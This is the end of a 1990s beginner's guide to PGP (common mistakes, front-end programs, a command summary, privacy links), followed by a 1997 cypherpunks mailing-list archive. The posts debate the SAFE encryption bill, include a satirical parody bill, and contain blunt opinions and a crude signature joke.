case you ever need it).

3. Writing down your passphrase.

As strange as it may seem, but despite all warnings a lot of people
still do that. DON'T! EVER!
Besides, after using PGP on a daily basis, you really should not
forget your passphrase anymore anyway.

4. Not keeping physical control of secring.pgp

Don't let _anybody_ get a copy of your secret keyring. Because the
only thing, that will stand from there between them and all your
e-mail is your passphrase. And if it's a weak one (that they can
crack or guess) or they even know it (see "Writing down your
passphrase"), then it's over with security and privacy. And that
would be very unfortunate indeed.
The same applies to the floppy disks with the backups.

As a common tag line on the Internet goes:

"My public key you can get with the subject: Send public key.
 My secret key you can pry out of my cold, dead fingers!!"

5. Not being careful with plain-text(s)

PGP only protects messages and files as long as they are encrypted.
If you save the de-crypted text(s) to your hard drive or even print
them out and leave them laying around on your desk, then PGP can't
help you anymore either, if somebody finds it.
So either delete the files (wipe them with  pgp -w filename) or
encrypt them to yourself or encrypt them conventionally (pgp -c
filename), if you need to keep them.

6. Not reading the PGP documentation at least once

no comment, except RTFM!


 Front Ends and Plug-In's
 ------------------------

Of course, most of us get pretty tired after a while doing
everything manually via command lines. That's where so called
front-ends come in. These are additional programs, that make things
like PGP much easier to use.

There are literally tons of them out there (check
http://www.ifi.uio.no/pgp/utils.shtml) for some of them.

Personally I recommend the following three:

** AutoPGP ** by Stale Schumacher <staalesc(at)ifi.uio.no>, the
same guy, who also wrote the international PGP version 2.6.3i.
(Shareware; registration fee is 15$)

This is a DOS program designed to work together with
QWK/SOUP-standard offline mail readers, such as OLX, Blue Wave, 1st
Reader etc.. It makes sending/receiving PGP messages really, really
easy, especially if you have lots of them.

check http://www.ifi.uio.no/~staalesc/AutoPGP/ to download it.


** Private Idaho ** by Joel McNamara <joelm(at)eskimo.com>
(Freeware)

A Windows front-end not only for PGP, but also for anonymous
remailers and NYM-servers. Nice and easy to use interface, and it
works together with most popular mail programs. If you have a SLIP
or PPP connection, you can even send/receive PGP messages right
from Private Idaho itself. If not, you can "port" messages from the
PI window into your regular mail program (Netscape Mail, for
example) with the click of a button. If that doesn't work, you can
still write your messages in Private Idaho, encrypt/sign them and
then cut & paste it into your normal e-mail program (and vice
versa, of course).
It also comes with a PGP Quickstart file for Windows, in case you
really don't feel comfortable setting up PGP in plain DOS. But why
would you, since you're reading this...:)

check http://www.eskimo.com/~joelm/ to download it.


** PGPMail ** by Pretty Good Privacy Inc.
(29,95 $ for US users, who have PGP 2.6.2 already installed)
Contact: <pgpservice(at)pgp.com>

- From the masters themselves a full-featured plug-in for the Windows
95/NT versions of Eudora 3.0 and Netscape Mail. You actually don't
even need to have the freeware PGP version installed. All you'd
need is PGPMail 4.5 (pgpmail45.exe). However, the price given above
is a special discount given to PGP 2.6.2 freeware users (see web
page for details).
PGPMail 4.5 makes PGP-encryption not only easy, but fast as well.
During installation it will add a few buttons to your Eudora
window, which means, that you never have to leave Eudora (or
Netscape) to encrypt/decrypt/sign etc..
Highly recommended, for newcomers and seasoned PGP-users alike.

check http://www.pgp.com/products/PGPmail.cgi to download it
(US-citizens only).

PGPMail is export-controlled software. Therefore a URL outside the
US can not be provided here. If you live outside the US and you use
Windows 95/NT, you might want to check the windows95 directory at:

ftp://ftp.replay.com/pub/replay/pub/pgp/pc/

for any other front-ends and/or plug-in's available.



 Here's a quick summary of PGP v2.6x commands
 --------------------------------------------                                      

To encrypt a plaintext file with the recipient's public key:
     pgp -e textfile her_userid

To sign a plaintext file with your secret key:
     pgp -s textfile [-u your_userid]

To sign a plaintext file with your secret key and have the output
readable to people without running PGP first:
     pgp -sta textfile [-u your_userid]

To sign a plaintext file with your secret key, and then encrypt it
with the recipient's public key:
     pgp -es textfile her_userid [-u your_userid]

To encrypt a plaintext file with just conventional cryptography, type:
     pgp -c textfile

To decrypt an encrypted file, or to check the signature integrity of a
signed file:
     pgp ciphertextfile [-o plaintextfile]

To encrypt a message for any number of multiple recipients:
     pgp -e textfile userid1 userid2 userid3

- --- Key management commands:

To generate your own unique public/secret key pair:
     pgp -kg

To add a public or secret key file's contents to your public or
secret key ring:
     pgp -ka keyfile [keyring]

To extract (copy) a key from your public or secret key ring:
     pgp -kx userid keyfile [keyring]
or:  pgp -kxa userid keyfile [keyring]

To view the contents of your public key ring:
     pgp -kv[v] [userid] [keyring]

To view the keys in the keyring with the signatures:
     pgp -kvv [userid] [keyring] 

To view the "fingerprint" of a public key, to help verify it over
the telephone with its owner:
     pgp -kvc [userid] [keyring]

To view the contents and check the certifying signatures of your
public key ring:
     pgp -kc [userid] [keyring]

To edit the userid or pass phrase for your secret key:
     pgp -ke userid [keyring]

To edit the trust parameters for a public key:
     pgp -ke userid [keyring]

To remove a key or just a userid from your public key ring:
     pgp -kr userid [keyring]

To sign and certify someone else's public key on your public key ring:
     pgp -ks her_userid [-u your_userid] [keyring]

To remove selected signatures from a userid on a keyring:
     pgp -krs userid [keyring]

To permanently revoke your own key, issuing a key compromise
certificate:
     pgp -kd your_userid

To disable or reenable a public key on your own public key ring:
     pgp -kd userid

- --- Esoteric commands:

To decrypt a message and leave the signature on it intact:
     pgp -d ciphertextfile

To create a signature certificate that is detached from the document:
     pgp -sb textfile [-u your_userid]

To detach a signature certificate from a signed message:
     pgp -b ciphertextfile

- --- Command options that can be used in combination with other
    command options (sometimes even spelling interesting words!):

To produce a ciphertext file in Ascii radix-64 format, just add the
- -a option when encrypting or signing a message or extracting a key:
     pgp -sea textfile her_userid
or:  pgp -kxa userid keyfile [keyring]

To wipe out the plaintext file after producing the ciphertext file,
just add the -w (wipe) option when encrypting or signing a message:
     pgp -sew message.txt her_userid

To specify that a plaintext file contains ASCII text, not binary, and
should be converted to recipient's local text line conventions, add
the -t (text) option to other options:
     pgp -seat message.txt her_userid

To view the decrypted plaintext output on your screen (like the
Unix-style "more" command), without writing it to a file, use
the -m (more) option while decrypting:
     pgp -m ciphertextfile

To specify that the recipient's decrypted plaintext will be shown
ONLY on her screen and cannot be saved to disk, add the -m option:
     pgp -steam message.txt her_userid

To recover the original plaintext filename while decrypting, add
the -p option:
     pgp -p ciphertextfile

To use a Unix-style filter mode, reading from standard input and
writing to standard output, add the -f option:
     pgp -feast her_userid outputfile


 Further Information
 -------------------

All of the following FAQ's and sites have much more additional
information not covered here, URL's, book references, ftp-sites
etc.. Check 'em out...

Where to get the latest PGP (Pretty Good Privacy) FAQ; by Peter
Herngaard <pethern(at)datashopper.dk>:

ftp://ftp.csn.net/mpj/getpgp.asc


The Beginners Guide to Pretty Good Privacy; by Bill Morton
<wjmorton(at)nbnet.nb.ca>:

http://www.clark.net/pub/rothman/pgpbg11.asc


The comp.security.pgp FAQ (the "official" PGP FAQ):

http://www.pgp.net/pgpnet/pgp-faq/


The International PGP FAQ (for version 2.6.3i); by Stale
Schumacher <staalesc(at)ifi.uio.no>:

http://www.ifi.uio.no/pgp/FAQ.shtml

or via email with (empty) message to <pgp(at)hypnotech.com>;
subject: GET FAQ


The Passphrase FAQ; by Randall T. Williams <ac387(at)yfu.ysu.edu>:

http://www.stack.nl/~galactus/remailers/passphrase-faq.html


The Diceware Passphrase Home Page

http://world.std.com/~reinhold/diceware.page.html


Pointers to other Cryptographic Software 

http://www.cs.hut.fi/ssh/crypto/software.html


Usenet:

alt.security.pgp


 Want to know more about Privacy and Civil Liberties issues?
 -----------------------------------------------------------

check out these organizations and web sites:

** Electronic Privacy Information Center (EPIC) **

http://www.epic.org/


** Electronic Frontier Foundation (EFF) **

http://www.eff.org/


** Center for Democracy and Technology (CDT) **

http://www.cdt.org/


** The Voters Telecommunications Watch (VTW) **

http://www.vtw.org/


** American Civil Liberties Union (ACLU) **

http://www.aclu.org/


** Encryption Policy Resource Page **

http://www.crypto.com/


** Democracy Net **

http://www.democracy.net/


** Privacy International **

http://www.privacy.org/pi/


** Amnesty International (AI) ** (general human rights)

http://www.amnesty.org/

====================================================================

May there be peace in this world, may all anger dissolve and may
all living beings find the way to happiness...


harka(at)nycmetro.com
Finger or e-mail for public key [KeyID: 04174301]
Fingerprint: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8

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Ck2LBw61uEyaSP2ZFdUM2exK6lioDBaUKmSW+zJWcfFfnlgaUPQRuWCmQFJidD71
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 1 May 1997 22:38:06 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <Pine.GSO.3.95.970501072035.5095A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 1 May 1997 10:09:27 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: tcmay@got.net, declan@well.com
Cc: fight-censorship@vorlon.mit.edu, cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"

Tim -

It's too bad we may not see eye-to-eye on this one.

For what it's worth, CDT shares your concerns about the criminal provision
in the SAFE bill.  We believe that as currently written, the provision is
overly broad and could create a chilling effect on the everyday use of
encryption, and  unnecessary because it duplicates existing obstruction of
justice law.

We have expressed these concerns both publicly (in a letter to the
committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
privately in conversations with the committee staff.  We hope to work with
the authors of SAFE to address these concerns, but, as you know, we are not
running this show and have to work with what the Congress gives us.

However, despite our concerns about the criminal provisions, we believe
strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
and Leahy, are vitally important and should be passed.

As you know, the debate over encryption policy reform has been going on for
more than 4 years.  Despite all of our efforts to promote the use of
encryption, crypto is still not widely used by the public.

The Clinton administration has not backed off from their commitment to a
global key-escrow/key-recovery system with guaranteed law enforcement
access to private keys. And despite the brilliant work of EFF on the
various legal challenges to the export restrictions, we feel this issue
will only be fully resolved through legislation.

The status quo, in our view, is not good enough.  Because of the export
controls and the lack of a coherent US encryption policy, Internet users do
not have access to the privacy protecting encryption products they need.

Congress needs to stand up to the Administration and say, with a strong
voice, "your policy is a failure - we need a different solution".  That's
what SAFE, Pro-CODE, and ECPA II do.

Best,

Jonah


 ** THE FIGHT FOR FREE SPEECH ONLINE IS IN THE HANDS OF THE SUPREME COURT **
      Find out the latest news and information about the case, visit
         <http://www.ciec.org>   --   <ciec-info@cdt.org>

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 23:17:46 +0800
To: Jonah Seiger <declan@well.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <199705011506.IAA19774@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:09 5/01/97 -0400, Jonah Seiger wrote:
>Tim -
>
>It's too bad we may not see eye-to-eye on this one.
>
>For what it's worth, CDT shares your concerns about the criminal provision
>in the SAFE bill.  We believe that as currently written, the provision is
>overly broad and could create a chilling effect on the everyday use of
>encryption, and  unnecessary because it duplicates existing obstruction of
>justice law.
>
>We have expressed these concerns both publicly (in a letter to the
>committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
>organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
>privately in conversations with the committee staff.  We hope to work with
>the authors of SAFE to address these concerns, but, as you know, we are not
>running this show and have to work with what the Congress gives us.

There's your error.  No, you don't "have to work with" it.  Simply make your
public support absolutely and completely conditional on the removal of the
bad part.  That's quite easy, isn't it?!?

>
>However, despite our concerns about the criminal provisions, we believe
>strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
>and Leahy, are vitally important and should be passed.

Why?  Tim May said it quite well:  SAFE gives us no rights that we don't
already have, and what it does claim to give us has so many "legitimate
needs of law-enforcement"-type loopholes that it would be almost totally
useless.

It is certainly not "vitally important."  There are some components of SAFE
which would be good to have, IF they can be obtained without the disastrous
component of SAFE which we all know must be removed.

>
>As you know, the debate over encryption policy reform has been going on for
>more than 4 years.  Despite all of our efforts to promote the use of
>encryption, crypto is still not widely used by the public.
>
>The Clinton administration has not backed off from their commitment to a
>global key-escrow/key-recovery system with guaranteed law enforcement
>access to private keys. And despite the brilliant work of EFF on the
>various legal challenges to the export restrictions, we feel this issue
>will only be fully resolved through legislation.
>
>The status quo, in our view, is not good enough. 

Let's not have any backsliding, then!  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 01:34:05 +0800
To: Jonah Seiger <declan@well.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <Pine.GSO.3.95.970430194258.6805D-100000@well.com>
Message-ID: <v03007803af8e70131a67@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:09 AM -0800 5/1/97, Jonah Seiger wrote:
>Tim -
>
>It's too bad we may not see eye-to-eye on this one.
>
>For what it's worth, CDT shares your concerns about the criminal provision
>in the SAFE bill.  We believe that as currently written, the provision is
>overly broad and could create a chilling effect on the everyday use of
>encryption, and  unnecessary because it duplicates existing obstruction of
>justice law.

Indeed. All reasons to withdraw support for the Bill and to actively seek
to undermine and sabotage it, as I hope many of us do.

Further, it is quite clear that the Bill will *not* allow strong crypto (by
"strong" I mean "arbitrarily strong," the only kind most of us support!) to
be exported freely. Even for "financial cryptography," as clearly any
strong crypto system can--and wiil--be used eventually by some group the
Administration deems to be "international terrorists."

(I would classify the U.S. government as a supporter of international
terrorism, for many reasons. The mining of the harbors in a country with a
relatively freely elected government, for example. The support of Kurdish
terrorists. The funding and equippers of sappers in Serbia. And so on. Oh,
and does the use of PGP by Burmese rebels/freedom fighters/terrorists, so
often cited by Phil Zimmermann as a postive example, count as use by
terrorists? You get the picture. One man's terrorist is another man's
freedom fighter. I support, for example, the use of strong cryptography to
undermine the Zionist entity which preys upon the life of the people
(TM)...does this make me a supporter of terrorists or of freedom fighters?
And why do George Bush and Bill Clinton get to decide?)


>We have expressed these concerns both publicly (in a letter to the
>committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
>organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
>privately in conversations with the committee staff.  We hope to work with
>the authors of SAFE to address these concerns, but, as you know, we are not
>running this show and have to work with what the Congress gives us.

Yoo're not "running the show," nor am I, or we, but you can withdraw
support and actively oppose a bad bill.


>However, despite our concerns about the criminal provisions, we believe
>strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
>and Leahy, are vitally important and should be passed.
>
>As you know, the debate over encryption policy reform has been going on for
>more than 4 years.  Despite all of our efforts to promote the use of
>encryption, crypto is still not widely used by the public.

"Use a cipher, go to prison" will hardly engender more public support for
cryptography.

More importantly, what the hell does the SAFE bill have to do with
Americans using crypto? Crypto is completely unrestricted, at least by law,
anywhere in the U.S. for use by American citizens and (most) others. If
Americans aren't using crypto, it's for other reasons.

"Use a cipher, go to prison" will not help in this process.

>The Clinton administration has not backed off from their commitment to a
>global key-escrow/key-recovery system with guaranteed law enforcement
>access to private keys. And despite the brilliant work of EFF on the
>various legal challenges to the export restrictions, we feel this issue
>will only be fully resolved through legislation.
>
>The status quo, in our view, is not good enough.  Because of the export
>controls and the lack of a coherent US encryption policy, Internet users do
>not have access to the privacy protecting encryption products they need.
>
>Congress needs to stand up to the Administration and say, with a strong
>voice, "your policy is a failure - we need a different solution".  That's
>what SAFE, Pro-CODE, and ECPA II do.

Sorry, Johah, but these are just platitudes from a press release.

More detailed analysis is called for, not just mouthings about Congress
standing up to the Administration, etc.

For example, answer this question: Will "unbreakable" (*) cryptography,
using full-strength RSA and drop-in 3DES, IDEA, Blowfish, AES, etc., be
allowed for unrestricted export?

If "yes," then this is indeed a good deal. But the weasel words in nearly
every section clearly say it is not.

If "no," then crypto is still crippled for export...the details just vary
(or maybe they don't, actually, as nothing is spelled out).


(* "Unbreakable" is a dangerous term. By "unbreakable" I mean here an
algorithm and key distribution mechanism (or no KD, as in PK systems) which
surpasses any known breaking attempts by some comfortable margin. Cf. the
study by the noted cryptographers, and use keylengths like 128 bits of work
factor...that ought to be "unbreakable" by the standards of the next few
centuries!)

Importantly, the putative goals of the SAFE Bill could be much more simply
handled this way:


"SAFE -- Security and Freedom Through Encryption: Computer software shall
be treated as any other form of speech is. Software shall not be subject to
restrictions on dissemination, export, or possession."


--Tim May, still a felon, and still using encryption to further
prosecutable offenses. Fuck Congress.


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Fri, 2 May 1997 00:12:38 +0800
To: cypherpunks@toad.com
Subject: Re: Privacy news: Oakland Cameras, Levi employee files, FileGate
Message-ID: <3.0.32.19691231160000.006ae0c4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:35 PM 4/30/97 -0700, Bill Stewart wrote:
>It's been a busy day for privacy issues in the Oakland Trib.
>
>Surveillance Cameras in Oakland
>-------------------------------
>Bay Alarm is trying to sell the City Council a $500K-$1.5M closed-circuit
>TV system for watching people in public places.  The three picknickers
>didn't litter, but the camera mounted on the public library building could
>zoom in enough to that the council could tell a ham sandwich from roast beef,
>and whether the two joggers were wearing Nikes or Reeboks.
>"Anybody who is a law-abiding citizen is not going to be concerned about
>this..
>"When I'm out in a public place.... I don't have an expectation of privacy"
>said Councilcritter Nate Miley (East Oakland/Elmhurst), who wants a test run
>in his district, where residents have bars on their windows and are afraid
>to go out at night.  Police Chief Joseph Samuels likes it too.
>"This is technology spying on our citizens from camera on light poles"
>said John Crew of the ACLU police practices project, speaking against it.
>Bay Alarm said that some British cities have dealt with privacy fears by
>setting up monitoring centers away from city and police offices,
>where tapes are kept in case a crime occurs -- crime victims can call up
>the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
>The camera systems are also capable of taking pictures in the dark.
>

Brief radio piece on the red-light cameras in S.F. --- red-light running
appears
to be down at the 4 intersections where cameras are installed; some
well-placed official was
quoted as saying "The cameras are definitely having an effect on people's
behavior." Yes, a
Good Thing.  They are continuing to move forward with plans to install more
cameras.

This is fine for red-light-running.  I'm just worried about the day when
the cameras
have an effect on people's behavior with respect to what they say, whom
they associate with, 
the clothes they wear, the thoughts they think...

How do you hack a camera?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Fri, 2 May 1997 00:08:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <3.0.32.19691231160000.006b0ea4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


In that case, it counts as an improvement indeed.


At 10:48 PM 4/30/97 -0700, Anil Das wrote:
>On Apr 30, 10:23pm, geeman wrote:
>> Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
>>
>> I'd like to point out that the key phrase in there seems to be
>> "under any law in effect on the effective date of this chapter"  -- altho
>> it's gobbledegooked,
>> the intent seems to say "if there is no law in effect mandating GAK when
>> this bill becomes
>> law, there can never be a law passed which does"  Or in other words, it has
>> the effect of making
>> GAK no better, or worse, than under current law, while preventing passage
>> of GAK laws in the future.
>
>	Agreed, except for one subtle correction. Congress cannot
>make a law saying a future congress cannot make such and such a law,
>because the future congress can always repeal, amend or override the
>old law. So, what this section does is to make GAK through an
>executive order impossible.
>
>--
>Anil Das
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 00:16:00 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Why I delete cc;s to other mailing lists
In-Reply-To: <v03007801af8deee5c0d0@[207.167.93.63]>
Message-ID: <v03007804af8e78540ade@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:12 AM -0800 5/1/97, Adam Back wrote:

>I don't either.  My only interest in posting to these lists at all is
>that some people hang out there who don't read cypherpunks.  I got a
>reply from Ron Rivest on the hashcash stuff as it related it to his
>and Shamir's MicroMint payment system.  I presume from reading it on
>coderpunks or cryptography where I forwarded copies.

Some people want the advantages of lists like the Cypherpunks list, but not
the disadvantages of volume and noise. Well, there is no simple solution to
this, except the usual ones of local filtering, hitting the delete key, etc.

I don't subscribe to lists controlled by others, for various reasons I've
discussed over the years.

It's a lot harder to create signal than it is to suppress noise. As I like
to say, "My keyboard has a "Delete" key--it doesn't have a "Create" key."

Many "edited" lists have appeared over the years. Nick Szabo had (and still
has) his own list. Robin Hanson had one ("AltInst," or "Alternative
Institutions"...I  like Robin's thinking a lot, but I quit his last after
just a few days when he asked me to "fine tune" my posts more to his
liking), and there have been various libertarian/digital liberty mailing
lists.

(These lists typically start with a bang, having traffic of a dozen or so
messages a day....then things peter out. Some of these lists have no
traffic for months at a time.)

The Cypherpunks list, rambunctuous and uncontrolled as it is, has thrived
for four and a half years, coming up on 5 years in just a few months.

That "serious cryptographers" do not want to be subscribers is just the way
it is. I can't do anything to get David Chaum or Matt Blaze to subscribe.
Too bad. I don't worry about it. If they want to subscribe, they can. I'm
not interested in creating a "Tim's list" in hopes that they'll subscribe.
They won't.

>> I routinely delete all of the cc:s to other lists, figuring if people want
>> to read my stuff they can damn well subscribe to the Real Thing, the
>> Cypherpunks list.
>
>So what you're saying is that you boycott them in effect, you don't
>send your writings to censored lists, and if they want to read your
>writing, they've got to read The List.  Well the more quality content
>that comes to cypherpunks first, or exclusively to cypherpunks until a
>3rd party forwards it the better, as this adds to cypherpunks
>reputation, and increases the value of and interest in the list.

Exactly. I don't want my writings primarily distributed to Declan's list,
or Bob's list, or whatever. (Bob sometimes reposts my articles to his
yuckily-nnamed "e$spam" list, and I get responses from people who simply
don't understand the background to the issues....I either ignore them
completely or tell them to subscribe to the Cypherpunks list and to quit
pestering me for explanations.)

>My attitude is leaning this way also.  I post most things to
>cypherpunks first.  The others I consider in effect forwards of
>material posted to cypherpunks.

Many people seem to want to "fix" the Cypherpunks list. I try to do what I
can by writing essays. That's my form of "signal." Those who don't want to
read these articles know where the delete key is.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 2 May 1997 01:07:03 +0800
To: jseiger@cdt.org (Jonah Seiger)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03020900af8e49aa795c@[207.226.3.4]>
Message-ID: <199705011652.JAA12500@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> The status quo, in our view, is not good enough.  Because of the export
> controls and the lack of a coherent US encryption policy, Internet users do
> not have access to the privacy protecting encryption products they need.

	Yes they do. There is a growing international crypto
development industry. The export controls have hampered access to the
products they need, but it has not eliminated said access.
	SAFE is one step closer towards making *import* of
cryptography illegal. It's a good thing Anguilla looks like a
relatively reasonable place to live, with people like you "on our
side".

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Fri, 2 May 1997 01:17:20 +0800
To: jseiger@cdt.org
Subject: CDT Flash:   SADE Bill -- "Hold a belief, go to prison"
In-Reply-To: <3355CC61.B61@stanford.edu>
Message-ID: <199705011646.JAA16972@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  talk.politics.crypto, comp.org.eff.talk)





-----------------------------------------------------------------------------
    _____ _____ _______
   / ____|  __ \__   __|   ____        ___               ____             __
  | |    | |  | | | |     / __ \____  / (_)______  __   / __ \____  _____/ /_
  | |    | |  | | | |    / /_/ / __ \/ / / ___/ / / /  / /_/ / __ \/ ___/ __/
  | |____| |__| | | |   / ____/ /_/ / / / /__/ /_/ /  / ____/ /_/ (__  ) /_
   \_____|_____/  |_|  /_/    \____/_/_/\___/\__, /  /_/    \____/____/\__/
   The Center for Deities and Theologies  /____/      Volume 42, Number 1
----------------------------------------------------------------------------
      A briefing on public policy issues affecting religious liberties online
----------------------------------------------------------------------------
 CDT POLICY POST Volume 42, Number 1                      May 1, 1997

Status Report on SADE, "Serenity and Dignity Through Enlightenment"


FLASH! The Center for Deities and Theologies announces that the "SADE" Bill
is past markup by the House Committee on Beliefs and Creeds, and is headed
for passage in the full House. We urge you to call your representative and
support this important Bill.

While CDT believes the Bill has certain flaws, particularly the criminal
sanctions for use of religious beliefs in furtherance of a prosecutable
offense, we believe the benefits outweigh the problems. This Bill will give
to American believer-units the religious freedoms they have so far lacked,
while also ensuring the legitimate needs of religious enforcement are
satisfied.

The characterization of SADE as a kind of "hold a belief, go to prison" law
is completely unjustified. No believer-unit who does not use his or her
beliefs in connection with a prosecutable offense has anything whatsoever
to fear from this  landmark piece of legislation. 

CDT is proud to be a supporter and industry shill for this important step
forward.

--Klaus! von Future Prime, Policy Director, Center for Deities and Theologies



Text of H.R. 666, the "SADE" Bill, "Serenity and Dignity Through Enlightenment"

A BILL

To amend title 18, United States Code, to affirm the rights of Americans to
practice the religious beliefs of their choice, and to recognize the
legitimate needs of law enforcment and national security concerns in this
area.

Be it enacted by the Senate and House of Representatives of the United
States of America in Congress assembled,

SECTION 1. SHORT TITLE.

This Act may be cited as the "Serenity and Dignity Through Enlightenment
(SADE) Act". 

SEC. 2. PRACTICE OF RELIGION.

(a) IN GENERAL. Part I of title 18, United States Code, is amended by
inserting after chapter 121 the following new chapter: 

CHAPTER 122-RELIGIOUS BELIEFS AND PRACTICES

"2801. Definitions.
"2802. Freedom To Practice Religion.
"2803. Freedom To Sell Religous Materials.
"2804. Prohibition on religious licenses.
"2805. Unlawful use of religious beliefs in furtherance of a criminal act.


"§2802. Freedom To Practice Religion

"Subject to Section 2805, it shall be lawful for any person within any
State, and for any United States citizen in a foreign country, to hold any
religious belief, regardless of the deity, god, goddess, idol, or higher
being believed in.

"§2803. Freedom To Sell Religous Materials

"Subject to section 2805, it shall be lawful for any person within any
State to sell in interstate commerce any religious tract, scripture, Bible,
or pamphlet, regardless of the deity, god, goddess, or higher being
supported.

"§2804. Prohibition on religious licenses

"(a) PROHIBITION. -- No person in lawful possession of religious materials
may be required by Federal or State law to disclose or surrender to
another person those materials. 
"(b) EXCEPTION FOR ACCESS FOR LAW ENFORCEMENT PURPOSES.-Subsection (a)
shall not affect the authority of any investigative or law
enforcement officer, under any law in effect on the effective date of this
chapter, to gain access to those beliefs and religious materials. 

"§2805. Unlawful use of religious beliefs in furtherance of a criminal act

"Any person who willfully uses religious beliefs or practices in
furtherance of the commission of a criminal offense for which the person
may be prosecuted in a court of competent jurisdiction -- 

       "(1) in the case of a first offense under this section, shall be
imprisoned for not more than 5 years, or fined in the amount set forth in
       this title, or both; and
       "(2) in the case of a second or subsequent offense under this
section, shall be imprisoned for not more than 10 years, or stoned to
death, or both.".


SEC. 3. EXPORTS OF RELIGIOUS MATERIALS.

(a) AMENDMENT TO RELIGIOUS EXPORT ADMINISTRATION ACT OF 1979. -- Section 17
of the Religious Export Administration Act of 1979 (50 U.S.C. App. 2416)
is amended by adding at the end thereof the following new subsection: 

       "(g) BIBLES AND RELATED MATERIALS. --
       "(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the
Inqusitor shall have exclusive authority to control exports of all
       religious materials, tracts, Bibles, Torahs, and statements of
belief for religious matters and beliefs, except that which is specifically
       intended or modified for use by religious zealots, martyrs, and
those involved in crusades, jihads, or holy wars. 
       "(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be
required, except pursuant to the Praying For the Enemy
       Act or the International Emergency Higher Powers Act (but only to
the extent that the authority of such Act is not exercised to
       extend controls imposed under this Act), for the export or reexport of-- 

...

       "(3) MATERIALS WITH PROSELYTIZING CAPABILITIES. -- The Inquisitor
shall authorize the export or reexport of religious items with
      proselytizing capabilities for non-jihad end-uses in any country to
which exports of similar Christian or Jewish materials are permitted for
use
       by religious institutions not controlled in fact by United States
churches and synagogues, unless there is substantial evidence that such
materials will be
       -- 

              "(A) diverted to a an Islamic jihad or other holy war or used
for religious terrorism; 
              "(B) modified for crusade and.or holy war end-use; or 
              "(C) reexported without any authorization by the United
States that may be required under this Act.

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
